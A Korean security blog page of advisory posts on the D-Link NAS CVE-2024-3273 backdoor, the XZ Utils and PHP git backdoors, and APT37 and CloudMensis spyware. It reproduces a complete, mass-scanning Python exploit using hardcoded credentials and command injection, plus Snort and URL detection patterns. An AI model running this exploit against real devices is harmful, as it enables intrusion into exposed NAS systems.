1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273

 

- 취약한 버전의 D-Link 사의 여러 NAS 제품들에서 발생하는 임의 명령 주입 공격 취약점

영향받는 버전
- DNS-320L 버전 1.11, 버전 1.03.0904.2013, 버전 1.01.0702.2013
- DNS-325 버전 1.01
- DNS-327L 버전 1.09, 버전 1.00.0409.2013
- DNS-340L 버전 1.08

 

[사진 2] 인터넷에 노출된 취약한 D-Link NAS 장치 [2]

 

2. 취약점 상세 [2]

- 취약점은 /cgi-bin/nas_sharing.cgi 엔드포인트에 존재

> /cgi-bin/nas_sharing.cgi에 하드코딩된 자격 증명을 악용해 권한 없는 사용자가 시스템에 접근하는 백도어로 사용 

> 해당 엔드포인트에 user, passwd 매개변수와 system 매개변수를 설정해 GET 요청을 전송

① 백도어: 하드코딩된 user, passwd 매개변수를 이용

② 명령주입: system 매개변수를 이용하며, base64 인코딩을 적용해 전달

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<BASE64_ENCODED_COMMAND_TO_BE_EXECUTED>

 

[사진 3] Exploit 결과

 

3. PoC [3]

- cgi-bin/nas_sharing.cgi URL로 GET 요청을 전송

> user 매개변수의 값을 messagebus, passwd 매개변수의 값을 빈 값으로 설정

> system 매개변수의 값을 base64로 인코딩하여 전송

import requests
import base64
import threading

# Utility function for Base64 encoding
def encode_base64(command):
    return base64.b64encode(command.encode()).decode()

# Watermark banner
print("""
┏┓┓┏┏┓  ┏┓┏┓┏┓┏┓  ┏┓┏┓━┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫
┗┛┗┛┗┛  ┗━┗┛┗━┗╋  ┗┛┗━ ╹┗┛
""")

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 YaBrowser/19.6.1.153 Yowser/2.5 Safari/537.36",
    "Accept-Encoding": "identity"
}

# Use a session for requests
session = requests.Session()

# Lock for file writing
file_write_lock = threading.Lock()

def execute_command(host, command=None, print_response=True):
    if command is None:
        command = 'id'
    encoded_command = encode_base64(command)
    url = f"http://{host}/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={encoded_command}"
    
    try:
        response = session.get(url, headers=headers, timeout=10)
        if 'root' in response.text:
            with file_write_lock:
                with open('vulnerables.txt', 'a') as f:
                    f.write(host + '\n')
            print(f"Host {host} is vulnerable.")
        elif print_response:
            print(f"Response from {host}:")
            print(response.text)
    except requests.Timeout:
        print(f"Request timed out for host {host}.")
    except requests.ConnectionError as e:
        print(f"Connection error for host {host}.")
    except Exception as e:
        print(f"An error occurred for host {host}.")

def execute_command_multiple(file_path, export):
    with open(file_path, 'r') as file:
        threads = []
        for line in file:
            host = line.strip().replace("\ufeff", "")
            thread = threading.Thread(target=execute_command, args=(host, None, False))
            thread.start()
            threads.append(thread)

        # Wait for all threads to complete
        for thread in threads:
            thread.join()

def main():
    option = input("Choose an option (1: Single Host, 2: Multiple Hosts): ")
    
    if option == '1':
        host = input("Enter the host: ")
        command = input("Enter the command to run: ")
        execute_command(host, command)
    elif option == '2':
        file_path = input("Enter the file path containing hosts: ")
        export = input("Export vulnerable host to vulnerables.txt? (y/n): ").lower()
        execute_command_multiple(file_path, export)
    else:
        print("Invalid option.")

if __name__ == "__main__":
    main()

 

4. 대응방안

- 해당 NAS 제품은 EOL(End Of Life, 지원 종료)에 도달해 더 이상 지원되지 않는 장비

> 벤더사는 관련 제품을 폐기하고 펌웨어 업데이트를 지원하는 제품으로 교체할 것을 권장 [4]

 

- 보안 장비 탐지 정책 적용

> cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd

 

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273
[2] https://github.com/netsecfish/dlink?tab=readme-ov-file
[3] https://github.com/adhikara13/CVE-2024-3273
[4] https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
[5] https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/
[6] https://www.boannews.com/media/view.asp?idx=128614&page=4&kind=1

1. 개요

- 모든 GNU/리눅스 운영체제의 인기 오픈소스 ‘XZ Utils’ 라이브러리에서 백도어가 발견
> 일종의 소프트웨어 공급망 공격으로 볼 수 있음
기존 공급망 공격과 달리 운영체제 레벨에서 사용되는 오픈소스 프로젝트 저장소에 접근
- CVSS 점수 10.0 할당 되었으며, 무단 원격 엑세스를 허용하도록 설계된 백도어 설치
- XZ Utils에 대한 점검과 패치 개발이 완료될 때까지 다운그레이드하여 사용 권고

 

2. 주요내용

2.1 XZ Utils [1]

- 범용 데이터 압축 형식
- GNU/리눅스 운영체제에서 데이터 압축에 필요한 필수 유틸리티를 제공하는 인기 오픈소스

 

2.2 CVE-2024-3094 [2]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3094

 

XZ-Utils의 liblzma 라이브러리에서 백도어 악성코드가 발견 (CVSS: 10.0)
> 백도어 동작시 공격자가 SSH 인증없이 서버 로그인 가능
> 일련의 복잡한 난독화 과정을 거쳐 라이브러리에 연결된 모든 소프트웨어에서 사용할 수 있는 수정된 liblzma 라이브러리가 생성
> 수정된 라이브러리를 사용해 XZ Utils 라이브러리와의 데이터 상호 작용을 가로채고 수정

영향받는 버전: XZ Utils 5.6.0 및 5.6.1

 

- 해당 백도어는 GCC 컴파일러의 GNU 간접 함수(IFUNC) 속성을 활용하여 실행 흐름에 악성코드를 삽입 [3]

> 삽입된 백도어 코드는 실행을 가로채거나 후크

> 페이로드 오브젝트 파일로부터 추출되고, 조작된 "_get_cpuid()"를 호출하는 코드를 삽입하기 위해

> cpuid를 확인하는 "is_arch_extension_supported"를 대체하기 위해 ifunc 호출을 수정

One of the core techniques used by the XZ backdoor to gain initial control during execution is the GNU Indirect Function (ifunc) attribute for the GCC compiler to resolve indirect function calls in runtime. The implanted backdoor code initially intercepts or hooks execution. It modifies ifunc calls to replace a check "is_arch_extension_supported" which should simply invoke "cpuid" to insert a call to "_get_cpuid" which is exported by the payload object file (i.e., liblzma_la-crc64-fast.o) and which calls malformed _get_cpuid() which is implanted into the code shown in the figure below.

 

[사진 2] 백도어 코드 동작 과정

 

- 2021년 공격자는 깃허브에 JiaT75(Jia Tan) 계정을 생성 [4]
> 여러 프로젝트에 참여하며 평판을 쌓아 XZ 프로젝트 관련자로 참여
> 이후 새로운 관리자 계정 추가, 커밋 병합 등을 거쳐 백도어를 포함한 커밋이 저장소에 추가
> MS는 깃허브 서비스 약관 위반을 이유로 XZ Utils 리포지토리를 비활성화

 

3. 대응방안

① XZ-Utils 업데이트 금지 또는 5.4.x 버전으로 다운그레이드 [5]
- xz --version 명령 결과가 'xz 5.6.1'이나 'liblzma 5.6.1'인 경우 다음 중 두 가지를 수행
1) 사용하고 있는 리눅스 배포판의 업데이트 버전이 여부 확인 및 있을 경우 업데이트를 진행
2) XZ 유틸즈는 다운그레이드
3) SSH 전체를 당분간 비활성화

 

> 악의적인 행위자는 이미 5.4 버전을 출시하고 서명했기 때문에 더 이전 버전으로의 다운그레이드 주장 의견도 존재

 

② 취약한 XZ-Utils를 포함하지 않는 리눅스 배포판으로 다운그레이드 또는 업데이트 버전으로 마이그레이션 [6]

[사진 3] 영향 받는 리눅스 배포판 버전

 

③ 무료 온라인 스캐너 활용 [7]

> 펌웨어 보안 회사 Binarly는 취약점에 영향 받는 리눅스 실행 파일을 탐지하도록 설계된 새로운 온라인 스캐너 공개

> 바이트 문자열 매칭 및 파일 해시 차단 목록과 같은 기존 방법과는 다른 새로운 방식으로 탐지

> 바이너리에 대한 정적 분석을 사용해 GNU IFUNC의 트랜지션 변조를 식별

> 사용자가 파일을 업로드하여 무제한 무료로 검사 가능

 

4. 참고

[1] https://en.wikipedia.org/wiki/XZ_Utils
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-3094

[3] https://www.binarly.io/blog/xz-utils-supply-chain-puzzle-binarly-ships-free-scanner-for-cve-2024-3094-backdoor

[4] https://boehs.org/node/everything-i-know-about-the-xz-backdoor
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71388&menuNo=205020
[6] https://unit42.paloaltonetworks.com/threat-brief-xz-utils-cve-2024-3094/

[7] https://xz.fail/

[8] https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
[9] https://github.com/libarchive/libarchive/issues/2103
[10] https://www.boannews.com/media/view.asp?idx=128350&page=2&kind=1
[11] https://www.boannews.com/media/view.asp?idx=128375&page=1&kind=1
[12] https://www.boannews.com/media/view.asp?idx=128372&page=1&kind=1

[13] https://www.dailysecu.com/news/articleView.html?idxno=154855

'취약점 > Supply-Chain Attack' 카테고리의 다른 글

Apple CocoaPods 공급망 공격  (0) 2024.07.03
리포재킹(Repojacking) 공격  (0) 2023.09.14
지니언스 NAC 업데이트 서버 해킹  (0) 2023.07.05
3CX 공급망 공격  (0) 2023.04.06
개요 - 북한 추정 해커조직 APT37가 백도어 ‘돌핀(Dolphin)’를 심어 남한을 정찰하고 명령제어(C&C) 서버와의 통신을 위해 구글 드라이브를 악용한 정황이 포착
내용 ① ‘Dolphin’ 백도어
- 공격자가 선택한 대상에 대해서만 실행되며, 비교적 단순한 형태의 악성코드를 사용해 초기 공격을 수행한 후 백도어가 구축
- 드라이브 및 이동식 장치의 모니터링, 주요 파일 반출, 키로깅, 스크린샷 촬영, 브라우저에서의 자격 증명 탈취 등 다양한 스파이 기능
- C&C 통신을 위해 클라우드 스토리지 서비스를 악용했는데, 특히 구글 드라이브(Google Drive)를 악용
- 감염된 시스템의 드라이브에서 관심 대상 파일을 검색하고 구글 드라이브를 통해 파일을 반출
- 공격 대상의 구글(Google)과 지메일(Gmail) 계정의 설정을 수정해 보안 수준을 낮추는 능력이 있는데, 이를 통해 공격 조직의 지메일 계정 액세스를 유지

② 스카크러프트(ScarCruft) 조직의 수행으로 추측 (APT37 또는 Reaper 또는 금성121로 알려짐)
- 2021년 북한 보도를 주로 하는 한국의 인터넷 신문사를 대상으로 워터링 홀 공격을 수행한 이력
- Internet Explorer 익스플로잇, BLUELIGHT라는 백도어로 이어진 셸코드 등 다양한 구성요소로 이루어짐

③ ‘BLUELIGHT’ 백도어보다 정교한 백도어 ‘Dolphin’이 등장
- BLUELIGHT 대비 기능 강화 및 탐지 회피 기능 존재 
- BLUELIGHT : 기본적인 정찰과 평가를 수행
- Dolphin :
     선택한 공격 대상에 대해서만 수동으로 구축
     모든 고정 드라이브(HDD) 및 비고정 드라이브(USB)를 검색해 디렉토리 목록을 생성
     확장명을 기준으로 파일을 반출
     Windows Portable Device API를 통해 스마트폰과 같은 휴대용 장치도 검색 가능
     브라우저에서 자격 증명을 탈취하고 키로깅 및 스크린샷 촬영도 가능
     데이터는 암호화된 ZIP 아카이브 형태로 구글 드라이브에 업로드
비고 - 백도어를 이용한 공격은 우수한 해킹 인력과 다양한 역량, 과거 공격 경험을 활용해 공격 기법을 고도화하고 있는 추세
- 백도어의 신속하고 효과적인 탐지와 대응을 위해서는 인공지능 등을 이용한 탐지 능력 강화, 지속적인 모니터링과 효과적인 공격 정보 공유를 통해 이러한 공격에 대응해야 피해를 최소화 할 수 있음

- APT37은 한국에서 금성121 조직명으로도 알려져 있는데, 주로 대북분야 종사자들(탈북자, 북한 관련 연구원)을 상대로 집중적으로 해킹하는 첩보활동이 포착
- 안드로이드 스마트폰용 악성앱을 카카오톡이나 텔레그램 등의 메신저를 통해 전달해 단말기 정보를 탈취하거나 도청 등을 시도 이력 존재
- 탈북자 모임 사이트나 북한 관련 뉴스 사이트를 대상으로 워터링홀 공격을 수행
- 클라우드 기반 파일 공유 서비스를 명령제어(C2) 서버로 사용

- 돌핀 백도어가 노리는 파일들이 MS Office 문서들 외에 우리나라에서 많이 쓰이는 한쇼, 한셀, hwp 등과 같은 한컴 문서와 아웃룩 메일 등이 포함

- 백도어 감염으로 인한 정보유출을 차단하기 위해 엔드포인트(End Point 보안을 강화해야 할 필요
- 개인이 이러한 공격은 막기 어려워 구글과 공동으로 해당 조직이 사용하는 구글 드라이브와 지메일 계정을 모니터링하고 추적하는 협조 체계 구축이 필요

 

보안뉴스

 

북 해커조직 APT37, 만능 기능 ‘돌핀’ 백도어로 남한 정찰

북한 추정 해커조직 APT37가 만능 스파이 활동 기능을 갖춘 백도어 ‘돌핀(Dolphin)’를 심어 남한을 정찰하고 명령제어(C&C) 서버와의 통신을 위해 구글 드라이브를 악용한 정황이 포착됐다.

www.boannews.com

1. 개요

- 2021.03.28 PHP의 Git 서버(git.php.net)에 백도어를 심어 PHP 개발자들이 악성 서비스 및 앱을 개발하도록 유도

- 감염된 코드로 웹 사이트를 만들었다면, 공격자들은 백도어를 통해 침투 및 임의의 명령을 실행 가능

- 재빨리 발견되어 조치가 취해짐 > 정상적인 코드로 롤백

- git.php.net 서버 폐기 후 GitHub 저장소로 프로젝트를 이전 조치

 

2. 공급망 공격 (Value-Chain Attack)

- 서드파티 공격(Third Party Attack) 공격이라고도 불림

- 유통 및 공급 과정을 이용한 공격 유형

- 자사의 시스템 및 데이터에 접속할 수 있는 외부 협력업체나 공급업체를 통해 누군가가 시스템에 침투할 때 발생

- 자체적으로 새로운 기술을 개발하지 않고 오픈 소스나 아웃 소싱, 또는 프리랜서 등을 통해 만들어진 소프트웨어를 사용하는 추세

- 만약, 만들어진 소프트웨어 등이 감염된 리소스를 통해 개발이 되었고, 이에 대한 적절성, 무결성 확인 없이 배포할 경우 악성코드가 존재한 상태로 사용자들에게 배포

- ​공격이 시작되기 전 감염 사실을 알기 어렵고, 일시에 대규모의 사용자가 동시에 피해를 볼 수 있는 특징이 있음

 

2.1 공격 흐름

① 해커는 먼저 공급 업체의 시스템을 장악한 후, 인증서를 탈취하거나 코드 패치, 업데이트 모듈 위장 등의 방식으로 악성코드를 업로드
② 악성코드는 정상 파일로 위장되어 배포되고, 이를 내려받은 다수의 사용자와 서버가 악성코드에 감염
③ 해커는 해당 서버들을 거점으로 이용해 공격 영역을 확대

 

3. 분석

- php-src 리포지터리에 두 개의 악성 커밋(commit)이 삽입
- PHP 개발자 니키타 포포브(Nikita Popov)와 라스무스 레르도프(Rasmus Lerdorf)의 이름을 도용해 유포
- 타이포그래피 에러 수정을 위한 것처럼 위장되어 배포되었으나, 백도어 기능이 포함된 악성 코드

 

[사진 1] 삽입된 악성코드

- [사진 1]은 악성코드(백도어)를 포함하여 유포된 zlib.c의 일부

- User-Agent 헤더의 값이 zerodium 문자열이 있는 경우 해당 값을 그대로 PHP를 통해 실행

- zend_eval_string()는  PHP 코드를 그대로 실행시키는 함수

 

4. 대응방안

4.1 서버측 대응

① PHP Git 서버에서 받은 소스 중 zerodium 존재 여부 확인

 

4.2 네트워크측 대응

① User-Agent 헤더 값이 zerodium인 경우 탐지

- 해당 백도어는 User-Agent 헤더의 값이 zerodium 문자열이 있는 경우 PHP 코드를 실행

alert tcp any any -> any any (msg:"Zerodium Backdoor"; flow:established; pcre:"/User-Agent\:[^\n]+zerodium/i";)

 

5. 참고

https://news-web.php.net/php.internals/113838

https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/

https://github.com/php/php-src/blob/master/ext/zlib/zlib.c

https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a?branch=2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a&diff=unified#diff-a35f2ee9e1d2d3983a3270ee10ec70bf86349c53febdeabdf104f88cb2167961R368-R370 

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
C2aaS(C2-as-a-Service)  (0) 2022.11.19
IoT Mirai 악성코드 분석  (0) 2022.11.11

- 맥OS 스파이웨어 클라우드멘시스 발견

기능 - 문서 유출
- 키스트로크 확보(키로깅)
- 스크린 캡쳐
- 공공 클라우드 스토리지 서비스에 페이로드 저장_해당 서비스를 C&C 서버로 활용 하기도
개요 - 오브젝티브씨로 개발된 일종의 백도어
- 현재까지 분석한 바에 의하면 총 39개의 명령 수행 가능
- 훔쳐낸 데이터는 암호화되며, 복호화 하기위해서는 클루드멘시스 운영자의 비밀키가 필요
- 공격 배후 세력이나 피해자가 특정되지 않음_공격자의 의도는 기밀이나 지적재산을 탈취하는 것
- 맥 환경에서 나타난 몇 안되는 정식 스파이웨어
특징 - 클라우드 스토리지 적극 활용
- 클라우드 계정에 파일을 올리거나 내리는 데 필요한 인증 토큰이 포함되어 있음
- 명령이 담긴 파일을 업로드 -> 해당 파일을 받아 명령 실행 -> 결과 암호화하여 업로드 -> 운영자 확인
   => 멀웨어 내에 IP 주소나 도메인이 존재하지 않음_이전에도 존재한 방식이나 맥OS 환경에서는 최초
- 고도의 표적 공격_현재까지 분석된 표적은 51개의 맥OS 컴퓨터
- 코드 전체의 질이 떨어지며, 난독화 기능이 존재하지 않음, 맥 환경에서 이미 알려진 취약점을 익스플로잇
대응 - 현재까지 알려진 맥OS 취약점을 패치
- 비밀번호 변경/강화, 피싱 예방 교육, 다중 인증 시스템 도입 등
- 애플의 락다운 모드 활성화

 

- 보안뉴스

 

수수께끼 투성이 멀웨어 클라우드멘시스, 맥OS 사용자 정교하게 노려

현존하는 발표 자료와 보고서에서 한 번도 등장하지 않은 맥OS 스파이웨어의 존재가 드러났다. 문서를 빼돌리고, 피해자의 키스트로크를 확보하고, 스크린도 캡처하는 등의 활동을 애플 장비에

www.boannews.com

 

+ Recent posts